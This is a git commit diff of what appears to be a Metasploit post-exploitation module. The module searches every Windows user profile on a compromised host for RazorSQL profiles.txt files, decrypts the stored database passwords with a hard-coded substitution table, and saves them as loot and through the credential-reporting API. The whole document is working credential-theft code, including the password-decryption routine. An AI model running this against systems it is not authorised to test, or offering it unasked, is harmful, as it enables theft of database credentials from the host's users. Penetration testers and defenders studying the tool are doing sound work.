Update razorsql to use the new cred API
parent
9713fe7f99
commit
656f64d9bd
|
@ -9,6 +9,7 @@ require 'msf/core/auxiliary/report'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Post
|
class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
|
include Msf::Post::File
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
include Msf::Post::Windows::UserProfiles
|
include Msf::Post::Windows::UserProfiles
|
||||||
|
|
||||||
|
@ -30,6 +31,48 @@ class Metasploit3 < Msf::Post
|
||||||
))
|
))
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def get_profiles
|
||||||
|
profiles = []
|
||||||
|
grab_user_profiles.each do |user|
|
||||||
|
next unless user['ProfileDir']
|
||||||
|
['.razorsql\\data\\profiles.txt', 'AppData\Roaming\RazorSQL\data\profiles.txt'].each do |profile_path|
|
||||||
|
file = "#{user['ProfileDir']}\\#{profile_path}"
|
||||||
|
profiles << file if file?(file)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
profiles
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: opts[:ip],
|
||||||
|
port: opts[:port],
|
||||||
|
service_name: opts[:service_name],
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
module_fullname: fullname,
|
||||||
|
post_reference_name: self.refname,
|
||||||
|
session_id: session_db_id,
|
||||||
|
origin_type: :session,
|
||||||
|
private_data: opts[:password],
|
||||||
|
private_type: :password,
|
||||||
|
username: opts[:user]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
def run
|
def run
|
||||||
print_status("Checking All Users...")
|
print_status("Checking All Users...")
|
||||||
creds_tbl = Rex::Ui::Text::Table.new(
|
creds_tbl = Rex::Ui::Text::Table.new(
|
||||||
|
@ -47,19 +90,17 @@ class Metasploit3 < Msf::Post
|
||||||
]
|
]
|
||||||
)
|
)
|
||||||
|
|
||||||
grab_user_profiles().each do |user|
|
get_profiles.each do |profile_path|
|
||||||
next if user['ProfileDir'] == nil
|
content = get_content(profile_path)
|
||||||
file= user['ProfileDir'] + "\\.razorsql\\data\\profiles.txt"
|
next if content.blank?
|
||||||
content = get_content(file)
|
parse_content(creds_tbl, content).each do |cred|
|
||||||
if content and not content.empty?
|
creds_tbl << cred
|
||||||
creds = parse_content(creds_tbl, content, user['UserName'])
|
|
||||||
creds.each do |c|
|
|
||||||
creds_tbl << c
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if not creds_tbl.rows.empty?
|
if creds_tbl.rows.empty?
|
||||||
|
print_status("No creds collected.")
|
||||||
|
else
|
||||||
path = store_loot(
|
path = store_loot(
|
||||||
'razor.user.creds',
|
'razor.user.creds',
|
||||||
'text/csv',
|
'text/csv',
|
||||||
|
@ -70,8 +111,6 @@ class Metasploit3 < Msf::Post
|
||||||
)
|
)
|
||||||
print_line(creds_tbl.to_s)
|
print_line(creds_tbl.to_s)
|
||||||
print_status("User credentials stored in: #{path}")
|
print_status("User credentials stored in: #{path}")
|
||||||
else
|
|
||||||
print_error("No data collected")
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -86,9 +125,8 @@ class Metasploit3 < Msf::Post
|
||||||
return content
|
return content
|
||||||
end
|
end
|
||||||
|
|
||||||
def parse_content(table, content, username)
|
def parse_content(table, content)
|
||||||
creds = []
|
creds = []
|
||||||
print_line("Account: #{username}\n")
|
|
||||||
content = content.split(/\(\(Z~\]/)
|
content = content.split(/\(\(Z~\]/)
|
||||||
content.each do |db|
|
content.each do |db|
|
||||||
database = (db.scan(/database=(.*)/).flatten[0] || '').strip
|
database = (db.scan(/database=(.*)/).flatten[0] || '').strip
|
||||||
|
@ -100,19 +138,22 @@ class Metasploit3 < Msf::Post
|
||||||
pass = (db.scan(/password=(.*)/).flatten[0] ||'').strip
|
pass = (db.scan(/password=(.*)/).flatten[0] ||'').strip
|
||||||
|
|
||||||
# Decrypt if there's a password
|
# Decrypt if there's a password
|
||||||
pass = decrypt(pass) if not pass.empty?
|
decrypted_pass = decrypt(pass) unless pass.blank?
|
||||||
|
|
||||||
|
pass = decrypted_pass ? decrypted_pass : pass
|
||||||
|
|
||||||
# Store data
|
# Store data
|
||||||
creds << [user, pass, type, host, port, dbname, database]
|
creds << [user, pass, type, host, port, dbname, database]
|
||||||
|
|
||||||
# Reort auth info while dumping data
|
# Don't report if there's nothing to report
|
||||||
report_auth_info(
|
next if user.blank? && pass.blank?
|
||||||
:host => host,
|
|
||||||
:port => port,
|
report_cred(
|
||||||
:sname => database,
|
ip: rhost,
|
||||||
:user => user,
|
port: port.to_i,
|
||||||
:pass => pass,
|
service_name: database,
|
||||||
:type => 'password'
|
user: user,
|
||||||
|
password: pass
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -140,10 +181,16 @@ class Metasploit3 < Msf::Post
|
||||||
"a" => "<" , "Y" => ">" , "'" => "'" , "^" => "^" , "{" => "{" ,
|
"a" => "<" , "Y" => ">" , "'" => "'" , "^" => "^" , "{" => "{" ,
|
||||||
"}" => "}" , "[" => "[" , "]" => "]" , "~" => "~" , "`" => "`"
|
"}" => "}" , "[" => "[" , "]" => "]" , "~" => "~" , "`" => "`"
|
||||||
}
|
}
|
||||||
password=''
|
password = ''
|
||||||
for letter in encrypted_password.chomp.each_char
|
for letter in encrypted_password.chomp.each_char
|
||||||
password << magic_key[letter]
|
char = magic_key[letter]
|
||||||
|
|
||||||
|
# If there's a nil, it indicates our decryption method does not work for this version.
|
||||||
|
return nil if char.nil?
|
||||||
|
|
||||||
|
password << char
|
||||||
end
|
end
|
||||||
|
|
||||||
return password
|
return password
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue